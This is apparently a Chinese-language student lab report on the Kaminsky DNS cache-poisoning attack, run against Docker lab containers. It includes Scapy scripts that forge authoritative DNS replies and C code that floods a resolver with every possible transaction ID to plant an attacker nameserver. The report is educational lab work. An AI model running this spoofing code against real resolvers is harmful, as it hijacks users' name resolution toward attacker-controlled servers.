Task 1: Lab Environment Setup
Setup Container
启动容器:
[06/02/22]seed@VM:~/lab6$ dcbuild
[06/02/22]seed@VM:~/lab6$ dcup
这里dcup
的时候出了一点小问题,因为之前的lab设置的子网也是10.9.0.0/24,所以报错overlap:
找到教程(https://blog.csdn.net/The_Time_Runner/article/details/105210260),先用docker network ls
查看docker网卡:
再用docker network inspect <网卡id>
查看具体信息,找到与subnet冲突的是哪个:
删除冲突的网卡docker network rm <网卡id>
:
之后再dcup
还是产生报错:
根据另一篇教程(https://blog.csdn.net/zhuiyunzhugang/article/details/117993059),通过两行命令停用并删除docker容器:
docker stop $(docker ps -q)
docker rm $(docker ps -aq)
之后成功启动容器:
DNS Configuration
user-10.9.0.5
服务器10.9.0.53
作user-10.9.0.5
的本地DNS服务器,因为user的/etc/resolv.conf
配置文件中把10.9.0.53
设为第一个nameserver条目。
local-dns-server-10.9.0.53
已经部署了bind9程序,在配置文件etc/bind/named.conf
中可以看到:
-
会把所有请求域名
attack32.com
的转发到它的nameserver,10.9.0.153
(托管在攻击者容器中)
查看配置文件named.conf.options
:
-
将源端口号固定为33333
-
关闭DNSSEC保护
DNSSEC:
DNSSEC采用基于公共密钥加密的数字签名,增强DNS验证强度。DNSSEC并非对DNS查询和响应本身进行加密签名,而是由数据所有者对DNS数据自身进行签名。
attacker-ns-10.9.0.153
在攻击者的nameserver上,设有两个区域zone:
-
攻击者的合法区域attacker32.com
-
假的example.com区域
Test the DNS Setup
Get the IP address of ns.attacker32.com.
在user-10.9.0.5
环境下进行测试。
通过dig命令从DNS域名服务器查询主机地址信息。dig ns.attacker32.com
:
该命令会让local DNS服务器将把请求转发给攻击者nameserver,因为local DNS服务器的配置文件中的设定,会把所有对域名attack32.com
的请求转发到10.9.0.153
。测试成功。
Get the IP address of www.example.com.
在user-10.9.0.5
环境下进行测试。
dig www.example.com
,local dns收到该查询后,会把查询发送到example.com的官方nameserver(实验文档中有提到93.184.216.34是www.example.com的真实IP地址):
` dig @ns.attacker32.com www.example.com`,希望从指定的DNS服务器(ns.attacker32.com)上进行查询,直接发给ns.attacker32.com,获得的结果与Attacker上的example.com zone文件相同:
Attacker ns上的example.com zone文件:
Task 2: Construct DNS request
首先在user-10.9.0.5
中通过nslookup
命令发送DNS request包,比如nslookup www.baidu.com
。
nslookup命令用于查询DNS的记录,从而得到该域名的IP地址和其他信息。
nslookup与dig两个工具功能类似,都可以查询指定域名所对应的ip地址,但不同的是dig工具可以从该域名的官方dns服务器上查询到精确的权威解答,而nslookup只会得到DNS解析服务器保存在cache中的非权威解答。
用wireshark抓包,该报文发给local dns(10.9.0.53):
其中目的端口号是53,该端口是DNS域名服务器的通信端口,通常用于域名解析。
所以通过python构造与上面效果相同的DNS查询,把请求发送到目标local DNS,使得它向其他dns server发起dns查询。
task2.py:
from scapy.all import *
Qdsec = DNSQR(qname='www.example.com') # qname:询问域名
dns = DNS(id=0xAAAA, qr=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=Qdsec)
ip = IP(dst='10.9.0.53', src='10.9.0.5')
udp = UDP(dport=53, sport=1234, chksum=0)
request = ip/udp/dns
send(request)
其中scapy的DNS
函数参数解析:
-
id:Query ID
- qr:0表示查询报文,1表示响应报文
- qd:问题部分
- an:回答部分
- ns:管理机构部分
- ar:附加信息部分
wireshark抓包,抓到的包和之前nslookup
发送的包格式相同。并且由于task1测试的时候local dns中已经有了www.example.com对应ip地址的缓存,所以local dns很快就发送了DNS response包,说明成功构造了dns request:
Task 3: Spoof DNS Replies
由于目标是example.com,所以需要伪造来自这个域名的nameserver的回复。
首先通过dig example.com ns
命令找到example.com的合法nameserver的IP地址:
从中可以看到,查询到能解析example.com
的授权服务器是a.iana-servers.net
和b.iana-servers.net
,他们的ip地址都是199.43.135.53
。
用python构造DNS response。task3.py:
from scapy.all import *
name = 'www.example.com'
domain = 'example.com'
ns = 'ns.attacker32.com' # attacker nameserver
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
# aa:表示授权回答(authoritative answer)
dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1, qdcount=1, ancount=1, nscount=1, arcount=0, qd=Qdsec, an=Anssec, ns=NSsec)
# 伪造源地址是example.com的合法nameserver的IP地址
ip = IP(dst='10.9.0.53', src='199.43.135.53')
# dport是local dns设置的固定端口号33333,sport是DNS server的通信端口53
udp = UDP(dport=33333, sport=53, chksum=0)
reply = ip/udp/dns
send(reply)
wireshark成功抓到包并解析:
Task 4: Launch the Kaminsky Attack
Kaminsky攻击的原理:发送多个不存在的域名请求(如twysw.example.com),此时DNS服务器会向其权威服务器请求,此时攻击者发送大量伪造的DNS回应,并猜测transaction ID,在权威服务器回应之前到达,如果猜对transaction ID的话,就能成功写入local DNS缓存了。
几个要点:
- 发送多个不存在的域名请求:是因为如果一次攻击失败了,那么local DNS缓存中就写入了正确的DNS记录,此时再次对同一个域名请求,就不会查询而直接发回缓存了,所以用每次不同的域名进行多轮尝试
- transaction ID只有16位,所以通过大量猜测能成功
- 写入的时候在权威字段加入攻击者的权威服务器,对整个域进行攻击(An会被cache,当ad和an在同一个domain(2级域名)下时,也会被cache)
由于在Kaminsky attack中速度至关重要,攻击者能发送的数据包越多,成功率就越高,所以使用Scapy和C的混合方法,先用Python生成包的模板,再通过C对指定偏移进行修改。
req.py
首先类似task2,使用Scapy生成一个DNS request模板,把包存储在文件ip_req.bin
中。task4_req.py
:
from scapy.all import *
# C will modify the qname
Qdsec = DNSQR(qname='aaaaa.example.com')
# C will modify the id
dns = DNS(id=0xAAAA, qr=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=Qdsec)
ip = IP(src='10.9.0.5', dst='10.9.0.53') # dst: local dns
udp = UDP(dport=53, sport=1234, chksum=0)
request = ip/udp/dns
with open('ip_req.bin','wb')as f:
f.write(bytes(request))
python3 task4_req.py
生成ip_req.bin
,用二进制编辑器打开文件,查看域名的偏移是0x29
,即41。
resp.py
然后再仿照task3,使用Scapy构造DNS response模板,把包存储在文件ip_resp.bin
中。task4_resp.py
:
from scapy.all import *
name = 'aaaaa.example.com'
domain = 'example.com'
ns = 'ns.attacker32.com'
Qdsec = DNSQR(qname=name) # C will modify the qname
# Answer section
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
# Authority section
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
# C will modify the id
dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1, qdcount=1, ancount=1, nscount=1, arcount=0, qd=Qdsec, an=Anssec, ns=NSsec)
ip = IP(dst='10.9.0.53', src='199.43.135.53')
udp = UDP(dport=33333, sport=53, chksum=0)
reply = ip/udp/dns
with open('ip_resp.bin','wb') as f:
f.write(bytes(reply))
python3 task4_resp.py
生成ip_resp.bin
,用二进制编辑器打开文件,查看域名的偏移分别是0x29
和0x40
,即41和64(因为在query和answer字段都有,所以有两处要修改)。transaction ID在固定的位置,偏移是28。
attack.c
将模板加载到C程序attack.c
中,并找到qname
和id
两个字段的偏移,对它们进行更改,然后发送数据包。
send_dns_request()
,只需要修改一处qname字段,修改后调用send_raw_packet
发包:
// Use for sending DNS request.
// Add arguments to the function definition if needed.
void send_dns_request(char *ip_req, int pkt_size, char *name)
{
// Modify the name in the question field (offset=41)
memcpy(ip_req + 41, name, 5);
send_raw_packet(ip_req, pkt_size);
}
send_dns_response()
,需要修改三处:
- question section中的qname
- answer section中的qname
- transaction ID,transaction ID只有16位,所以写0-65535的循环遍历
// Use for sending forged DNS response.
// Add arguments to the function definition if needed.
void send_dns_response(char *ip_resp, int pkt_size, char *name)
{
// Modify the name in the question field (offset=41)
memcpy(ip_resp + 41, name, 5);
// Modify the name in the answer field (offset=64)
memcpy(ip_resp + 64, name, 5);
// Modify the transaction ID field (offset=28)
unsigned short id;
for (long i = 0; i < 65536; i++)
{
id = htons(i); // 将一个无符号短整型数值转换为网络字节序,即大端模式(big-endian)
memcpy(ip_resp + 28, &id, 2);
send_raw_packet(ip_resp, pkt_size);
}
}
main
中while
循环,调用之前写好的两个函数:
while (1)
{
// Generate a random name with length 5
char name[5];
for (int k = 0; k < 5; k++)
name[k] = a[rand() % 26];
name[5] = '\0';
//##################################################################
// Step 1.
// Send a DNS request to the targeted local DNS server.
// This will trigger the DNS server to send out DNS queries
send_dns_request(ip_req, n_req, name);
printf("attempt #%ld. request is [%s.example.com]\n", i++, name);
// Step 2.
// Send many spoofed responses to the targeted local DNS server,
// each one with a different transaction ID.
send_dns_response(ip_resp, n_resp, name);
//##################################################################
}
运行:(这里一开始运行attack时没有sudo
,导致无法发包)
登入local dns通过rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
命令查看伪造的response是否被成功cache:
Task 5: Result Verifification
` dig www.example.com`,向local DNS发起查询请求,由于攻击成功,在local DNS服务器的DNS cache中,example.com的NS记录将变成ns.attacker32.com。当local DNS接收到针对example.com域内任何主机名的DNS查询时,它将向ns.attacker32.com发送一个查询,而不是发送到该域的合法nameserver。
这时通过wireshark抓包,一共抓到4个包:
-
第1个包:user向local dns发送DNS request包,询问www.example的ip地址。
-
第2个包:local dns向attacker nameserver发送DNS request包。因为攻击成功,在local DNS服务器的DNS cache中,example.com的NS记录将变成ns.attacker32.com。当local DNS接收到针对example.com域内任何主机名的DNS查询时,它将向ns.attacker32.com发送一个查询。
-
第3个包:attacker nameserver向local dns发回DNS response包。回复的ip地址1.2.3.5是attacker nameserver中设置的虚假的example.com zone。
-
第4个包:local dns向user发回DNS response包,返回它收到的地址1.2.3.5
dig @ns.attacker32.com www.example.com
,直接向attacker nameserver询问,获得的答案和上面一样,说明攻击成功。